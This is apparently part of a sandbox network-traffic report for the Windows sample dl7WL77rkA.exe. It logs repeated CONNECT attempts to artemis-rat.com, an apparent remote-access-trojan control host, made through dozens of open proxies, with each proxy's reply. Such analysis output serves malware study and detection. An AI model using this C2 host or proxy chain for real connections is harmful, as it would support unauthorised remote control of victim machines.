Mar 11, 2024 03:30:37.747605085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	50026	104.19.247.62	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.751657963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.905920982 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49936	106.14.255.124	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.751719952 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	50044	104.21.194.19	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.757271051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.911505938 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	50051	104.17.37.235	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.759217024 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.913362980 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	50009	172.67.35.15	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.763709068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.918279886 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49955	5.58.239.210	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.770673990 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.482949018 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.514276981 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:41.593010902 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:45.702481031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49980	128.199.202.122	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.782944918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.891786098 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	50020	91.134.140.160	51513	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.783261061 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49974	42.49.148.167	9001	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.789592028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.132852077 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49947	38.156.75.14	8080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.791918039 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49943	65.1.244.232	1080	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.807327986 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.452877998 CET	65	IN	HTTP/1.1 200 Connection Established Content-Type: text/plain

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	50049	38.162.28.61	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.821671963 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.259355068 CET	111	IN	HTTP/1.1 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="" Data Raw: 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 Data Ascii: Proxy Authentication Required

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49986	72.210.252.137	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.826425076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	50077	107.152.98.5	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.827290058 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	50106	104.16.72.45	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.833049059 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:37.987808943 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	50037	159.203.61.169	3128	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.843894958 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.363742113 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.5	49984	190.69.157.213	999	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.849529028 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.467431068 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:39.295463085 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:40.936095953 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:44.311353922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:47.244685888 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.5	50134	45.12.31.140	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.868364096 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.022933006 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.5	50067	159.65.39.234	7732	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.874836922 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.420456886 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:58.372627020 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.5	50150	104.24.236.203	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.878066063 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.032493114 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 02:30:37 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.5	50137	199.102.106.94	4145	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.890568972 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.5	50005	34.140.254.77	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.892518044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.197731972 CET	122	IN	HTTP/1.1 404 Not Found date: Mon, 11 Mar 2024 02:30:37 GMT server: istio-envoy connection: close content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	50039	93.190.142.57	41890	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.897038937 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.191725016 CET	226	IN	HTTP/1.1 403 Forbidden Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Length: 101 Content-Type: text/plain; charset=utf-8 Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.5	50011	47.56.110.204	8989	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.898274899 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.208103895 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.16.1 Date: Mon, 11 Mar 2024 02:15:33 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.5	50054	23.137.248.197	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.899364948 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.192060947 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Mon, 11 Mar 2024 02:30:38 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.18.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.5	50142	162.241.158.204	41274	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.922277927 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 03:30:38.452001095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.5	50006	185.167.59.215	80	3876	C:\Users\user\Desktop\dl7WL77rkA.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 03:30:37.925945044 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
